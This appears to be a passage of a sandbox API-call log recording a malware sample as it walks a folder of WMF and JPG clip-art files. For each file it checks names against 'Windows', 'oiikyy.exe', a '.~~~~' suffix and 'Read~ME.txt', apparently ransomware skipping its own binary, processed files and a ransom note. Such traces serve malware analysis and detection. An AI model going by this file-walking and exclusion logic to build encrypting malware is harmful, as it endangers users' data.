	[0084.750] StrStrW (lpFirst="J0107516.WMF", lpSrch=".~~~~") returned 0x0
	[0084.750] lstrcmpW (lpString1="J0107516.WMF", lpString2="Read~ME.txt") returned -1
	[0084.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.750] GetCurrentThreadId () returned 0x618
	[0084.750] RtlWakeConditionVariable () returned 0x365f48
	[0084.750] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107526.WMF", cAlternateFileName="")) returned 1
	[0084.750] lstrcmpiW (lpString1="J0107526.WMF", lpString2="Windows") returned -1
	[0084.750] lstrcmpW (lpString1="J0107526.WMF", lpString2="oiikyy.exe") returned -1
	[0084.751] StrStrW (lpFirst="J0107526.WMF", lpSrch=".~~~~") returned 0x0
	[0084.751] lstrcmpW (lpString1="J0107526.WMF", lpString2="Read~ME.txt") returned -1
	[0084.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.751] GetCurrentThreadId () returned 0x618
	[0084.751] RtlWakeConditionVariable () returned 0x365f48
	[0084.751] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107528.WMF", cAlternateFileName="")) returned 1
	[0084.751] lstrcmpiW (lpString1="J0107528.WMF", lpString2="Windows") returned -1
	[0084.751] lstrcmpW (lpString1="J0107528.WMF", lpString2="oiikyy.exe") returned -1
	[0084.751] StrStrW (lpFirst="J0107528.WMF", lpSrch=".~~~~") returned 0x0
	[0084.751] lstrcmpW (lpString1="J0107528.WMF", lpString2="Read~ME.txt") returned -1
	[0084.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.751] GetCurrentThreadId () returned 0x618
	[0084.751] RtlWakeConditionVariable () returned 0x365f48
	[0084.751] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6890, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107544.WMF", cAlternateFileName="")) returned 1
	[0084.751] lstrcmpiW (lpString1="J0107544.WMF", lpString2="Windows") returned -1
	[0084.751] lstrcmpW (lpString1="J0107544.WMF", lpString2="oiikyy.exe") returned -1
	[0084.751] StrStrW (lpFirst="J0107544.WMF", lpSrch=".~~~~") returned 0x0
	[0084.751] lstrcmpW (lpString1="J0107544.WMF", lpString2="Read~ME.txt") returned -1
	[0084.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.751] GetCurrentThreadId () returned 0x618
	[0084.751] RtlWakeConditionVariable () returned 0x365f48
	[0084.751] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107658.WMF", cAlternateFileName="")) returned 1
	[0084.751] lstrcmpiW (lpString1="J0107658.WMF", lpString2="Windows") returned -1
	[0084.752] lstrcmpW (lpString1="J0107658.WMF", lpString2="oiikyy.exe") returned -1
	[0084.752] StrStrW (lpFirst="J0107658.WMF", lpSrch=".~~~~") returned 0x0
	[0084.752] lstrcmpW (lpString1="J0107658.WMF", lpString2="Read~ME.txt") returned -1
	[0084.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.752] GetCurrentThreadId () returned 0x618
	[0084.752] RtlWakeConditionVariable () returned 0x365f48
	[0084.752] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107708.WMF", cAlternateFileName="")) returned 1
	[0084.752] lstrcmpiW (lpString1="J0107708.WMF", lpString2="Windows") returned -1
	[0084.752] lstrcmpW (lpString1="J0107708.WMF", lpString2="oiikyy.exe") returned -1
	[0084.752] StrStrW (lpFirst="J0107708.WMF", lpSrch=".~~~~") returned 0x0
	[0084.752] lstrcmpW (lpString1="J0107708.WMF", lpString2="Read~ME.txt") returned -1
	[0084.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.752] GetCurrentThreadId () returned 0x618
	[0084.752] RtlWakeConditionVariable () returned 0x365f48
	[0084.752] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107712.WMF", cAlternateFileName="")) returned 1
	[0084.752] lstrcmpiW (lpString1="J0107712.WMF", lpString2="Windows") returned -1
	[0084.752] lstrcmpW (lpString1="J0107712.WMF", lpString2="oiikyy.exe") returned -1
	[0084.752] StrStrW (lpFirst="J0107712.WMF", lpSrch=".~~~~") returned 0x0
	[0084.752] lstrcmpW (lpString1="J0107712.WMF", lpString2="Read~ME.txt") returned -1
	[0084.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.752] GetCurrentThreadId () returned 0x618
	[0084.752] RtlWakeConditionVariable () returned 0x365f48
	[0084.753] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107718.WMF", cAlternateFileName="")) returned 1
	[0084.753] lstrcmpiW (lpString1="J0107718.WMF", lpString2="Windows") returned -1
	[0084.753] lstrcmpW (lpString1="J0107718.WMF", lpString2="oiikyy.exe") returned -1
	[0084.753] StrStrW (lpFirst="J0107718.WMF", lpSrch=".~~~~") returned 0x0
	[0084.753] lstrcmpW (lpString1="J0107718.WMF", lpString2="Read~ME.txt") returned -1
	[0084.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.753] GetCurrentThreadId () returned 0x618
	[0084.753] RtlWakeConditionVariable () returned 0x365f48
	[0084.753] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2044, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107722.WMF", cAlternateFileName="")) returned 1
	[0084.852] lstrcmpiW (lpString1="J0107722.WMF", lpString2="Windows") returned -1
	[0084.852] lstrcmpW (lpString1="J0107722.WMF", lpString2="oiikyy.exe") returned -1
	[0084.852] StrStrW (lpFirst="J0107722.WMF", lpSrch=".~~~~") returned 0x0
	[0084.852] lstrcmpW (lpString1="J0107722.WMF", lpString2="Read~ME.txt") returned -1
	[0084.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.870] GetCurrentThreadId () returned 0x618
	[0084.870] RtlWakeConditionVariable () returned 0x365f48
	[0084.870] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107724.WMF", cAlternateFileName="")) returned 1
	[0084.870] lstrcmpiW (lpString1="J0107724.WMF", lpString2="Windows") returned -1
	[0084.870] lstrcmpW (lpString1="J0107724.WMF", lpString2="oiikyy.exe") returned -1
	[0084.870] StrStrW (lpFirst="J0107724.WMF", lpSrch=".~~~~") returned 0x0
	[0084.870] lstrcmpW (lpString1="J0107724.WMF", lpString2="Read~ME.txt") returned -1
	[0084.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.870] GetCurrentThreadId () returned 0x618
	[0084.870] RtlWakeConditionVariable () returned 0x365f48
	[0084.870] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1574, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107728.WMF", cAlternateFileName="")) returned 1
	[0084.870] lstrcmpiW (lpString1="J0107728.WMF", lpString2="Windows") returned -1
	[0084.870] lstrcmpW (lpString1="J0107728.WMF", lpString2="oiikyy.exe") returned -1
	[0084.871] StrStrW (lpFirst="J0107728.WMF", lpSrch=".~~~~") returned 0x0
	[0084.871] lstrcmpW (lpString1="J0107728.WMF", lpString2="Read~ME.txt") returned -1
	[0084.871] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.871] GetCurrentThreadId () returned 0x618
	[0084.871] RtlWakeConditionVariable () returned 0x365f48
	[0084.871] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107730.WMF", cAlternateFileName="")) returned 1
	[0084.871] lstrcmpiW (lpString1="J0107730.WMF", lpString2="Windows") returned -1
	[0084.871] lstrcmpW (lpString1="J0107730.WMF", lpString2="oiikyy.exe") returned -1
	[0084.871] StrStrW (lpFirst="J0107730.WMF", lpSrch=".~~~~") returned 0x0
	[0084.871] lstrcmpW (lpString1="J0107730.WMF", lpString2="Read~ME.txt") returned -1
	[0084.871] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.871] GetCurrentThreadId () returned 0x618
	[0084.871] RtlWakeConditionVariable () returned 0x365f48
	[0084.871] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107734.WMF", cAlternateFileName="")) returned 1
	[0084.871] lstrcmpiW (lpString1="J0107734.WMF", lpString2="Windows") returned -1
	[0084.871] lstrcmpW (lpString1="J0107734.WMF", lpString2="oiikyy.exe") returned -1
	[0084.871] StrStrW (lpFirst="J0107734.WMF", lpSrch=".~~~~") returned 0x0
	[0084.871] lstrcmpW (lpString1="J0107734.WMF", lpString2="Read~ME.txt") returned -1
	[0084.871] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.871] GetCurrentThreadId () returned 0x618
	[0084.871] RtlWakeConditionVariable () returned 0x365f48
	[0084.872] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107742.WMF", cAlternateFileName="")) returned 1
	[0084.872] lstrcmpiW (lpString1="J0107742.WMF", lpString2="Windows") returned -1
	[0084.872] lstrcmpW (lpString1="J0107742.WMF", lpString2="oiikyy.exe") returned -1
	[0084.872] StrStrW (lpFirst="J0107742.WMF", lpSrch=".~~~~") returned 0x0
	[0084.872] lstrcmpW (lpString1="J0107742.WMF", lpString2="Read~ME.txt") returned -1
	[0084.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.872] GetCurrentThreadId () returned 0x618
	[0084.872] RtlWakeConditionVariable () returned 0x365f48
	[0084.872] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107744.WMF", cAlternateFileName="")) returned 1
	[0084.872] lstrcmpiW (lpString1="J0107744.WMF", lpString2="Windows") returned -1
	[0084.872] lstrcmpW (lpString1="J0107744.WMF", lpString2="oiikyy.exe") returned -1
	[0084.872] StrStrW (lpFirst="J0107744.WMF", lpSrch=".~~~~") returned 0x0
	[0084.872] lstrcmpW (lpString1="J0107744.WMF", lpString2="Read~ME.txt") returned -1
	[0084.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.897] GetCurrentThreadId () returned 0x618
	[0084.897] RtlWakeConditionVariable () returned 0x365f48
	[0084.897] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107746.WMF", cAlternateFileName="")) returned 1
	[0084.897] lstrcmpiW (lpString1="J0107746.WMF", lpString2="Windows") returned -1
	[0084.897] lstrcmpW (lpString1="J0107746.WMF", lpString2="oiikyy.exe") returned -1
	[0084.897] StrStrW (lpFirst="J0107746.WMF", lpSrch=".~~~~") returned 0x0
	[0084.897] lstrcmpW (lpString1="J0107746.WMF", lpString2="Read~ME.txt") returned -1
	[0084.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.897] GetCurrentThreadId () returned 0x618
	[0084.897] RtlWakeConditionVariable () returned 0x365f48
	[0084.897] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2020, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107748.WMF", cAlternateFileName="")) returned 1
	[0084.897] lstrcmpiW (lpString1="J0107748.WMF", lpString2="Windows") returned -1
	[0084.897] lstrcmpW (lpString1="J0107748.WMF", lpString2="oiikyy.exe") returned -1
	[0084.897] StrStrW (lpFirst="J0107748.WMF", lpSrch=".~~~~") returned 0x0
	[0084.898] lstrcmpW (lpString1="J0107748.WMF", lpString2="Read~ME.txt") returned -1
	[0084.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.898] GetCurrentThreadId () returned 0x618
	[0084.898] RtlWakeConditionVariable () returned 0x365f48
	[0084.898] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x126c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107750.WMF", cAlternateFileName="")) returned 1
	[0084.898] lstrcmpiW (lpString1="J0107750.WMF", lpString2="Windows") returned -1
	[0084.898] lstrcmpW (lpString1="J0107750.WMF", lpString2="oiikyy.exe") returned -1
	[0084.898] StrStrW (lpFirst="J0107750.WMF", lpSrch=".~~~~") returned 0x0
	[0084.898] lstrcmpW (lpString1="J0107750.WMF", lpString2="Read~ME.txt") returned -1
	[0084.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.898] GetCurrentThreadId () returned 0x618
	[0084.898] RtlWakeConditionVariable () returned 0x365f48
	[0084.898] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4146, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0136865.WMF", cAlternateFileName="")) returned 1
	[0084.898] lstrcmpiW (lpString1="J0136865.WMF", lpString2="Windows") returned -1
	[0084.898] lstrcmpW (lpString1="J0136865.WMF", lpString2="oiikyy.exe") returned -1
	[0084.898] StrStrW (lpFirst="J0136865.WMF", lpSrch=".~~~~") returned 0x0
	[0084.898] lstrcmpW (lpString1="J0136865.WMF", lpString2="Read~ME.txt") returned -1
	[0084.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.898] GetCurrentThreadId () returned 0x618
	[0084.898] RtlWakeConditionVariable () returned 0x365f48
	[0084.898] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55eb4900, ftCreationTime.dwHighDateTime=0x1bdbf6f, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55eb4900, ftLastWriteTime.dwHighDateTime=0x1bdbf6f, nFileSizeHigh=0x0, nFileSizeLow=0x9d27, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0144773.JPG", cAlternateFileName="")) returned 1
	[0084.898] lstrcmpiW (lpString1="J0144773.JPG", lpString2="Windows") returned -1
	[0084.898] lstrcmpW (lpString1="J0144773.JPG", lpString2="oiikyy.exe") returned -1
	[0084.899] StrStrW (lpFirst="J0144773.JPG", lpSrch=".~~~~") returned 0x0
	[0084.899] lstrcmpW (lpString1="J0144773.JPG", lpString2="Read~ME.txt") returned -1
	[0084.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.899] GetCurrentThreadId () returned 0x618
	[0084.899] RtlWakeConditionVariable () returned 0x365f48
	[0084.899] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8379, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145168.JPG", cAlternateFileName="")) returned 1
	[0084.899] lstrcmpiW (lpString1="J0145168.JPG", lpString2="Windows") returned -1
	[0084.899] lstrcmpW (lpString1="J0145168.JPG", lpString2="oiikyy.exe") returned -1
	[0084.899] StrStrW (lpFirst="J0145168.JPG", lpSrch=".~~~~") returned 0x0
	[0084.899] lstrcmpW (lpString1="J0145168.JPG", lpString2="Read~ME.txt") returned -1
	[0084.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.899] GetCurrentThreadId () returned 0x618
	[0084.899] RtlWakeConditionVariable () returned 0x365f48
	[0084.899] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf0c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145212.JPG", cAlternateFileName="")) returned 1
	[0084.899] lstrcmpiW (lpString1="J0145212.JPG", lpString2="Windows") returned -1
	[0084.899] lstrcmpW (lpString1="J0145212.JPG", lpString2="oiikyy.exe") returned -1
	[0084.899] StrStrW (lpFirst="J0145212.JPG", lpSrch=".~~~~") returned 0x0
	[0084.899] lstrcmpW (lpString1="J0145212.JPG", lpString2="Read~ME.txt") returned -1
	[0084.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.899] GetCurrentThreadId () returned 0x618
	[0084.899] RtlWakeConditionVariable () returned 0x365f48
	[0084.899] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc056, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145272.JPG", cAlternateFileName="")) returned 1
	[0084.899] lstrcmpiW (lpString1="J0145272.JPG", lpString2="Windows") returned -1
	[0084.899] lstrcmpW (lpString1="J0145272.JPG", lpString2="oiikyy.exe") returned -1
	[0084.900] StrStrW (lpFirst="J0145272.JPG", lpSrch=".~~~~") returned 0x0
	[0084.900] lstrcmpW (lpString1="J0145272.JPG", lpString2="Read~ME.txt") returned -1
	[0084.900] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.900] GetCurrentThreadId () returned 0x618
	[0084.900] RtlWakeConditionVariable () returned 0x365f48
	[0084.900] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5285, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145361.JPG", cAlternateFileName="")) returned 1
	[0084.900] lstrcmpiW (lpString1="J0145361.JPG", lpString2="Windows") returned -1
	[0084.900] lstrcmpW (lpString1="J0145361.JPG", lpString2="oiikyy.exe") returned -1
	[0084.900] StrStrW (lpFirst="J0145361.JPG", lpSrch=".~~~~") returned 0x0
	[0084.900] lstrcmpW (lpString1="J0145361.JPG", lpString2="Read~ME.txt") returned -1
	[0084.900] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.900] GetCurrentThreadId () returned 0x618
	[0084.900] RtlWakeConditionVariable () returned 0x365f48
	[0084.900] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c5e300, ftCreationTime.dwHighDateTime=0x1bdbf70, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c5e300, ftLastWriteTime.dwHighDateTime=0x1bdbf70, nFileSizeHigh=0x0, nFileSizeLow=0x45cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145373.JPG", cAlternateFileName="")) returned 1
	[0084.900] lstrcmpiW (lpString1="J0145373.JPG", lpString2="Windows") returned -1
	[0084.900] lstrcmpW (lpString1="J0145373.JPG", lpString2="oiikyy.exe") returned -1
	[0084.900] StrStrW (lpFirst="J0145373.JPG", lpSrch=".~~~~") returned 0x0
	[0084.900] lstrcmpW (lpString1="J0145373.JPG", lpString2="Read~ME.txt") returned -1
	[0084.900] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.900] GetCurrentThreadId () returned 0x618
	[0084.900] RtlWakeConditionVariable () returned 0x365f48
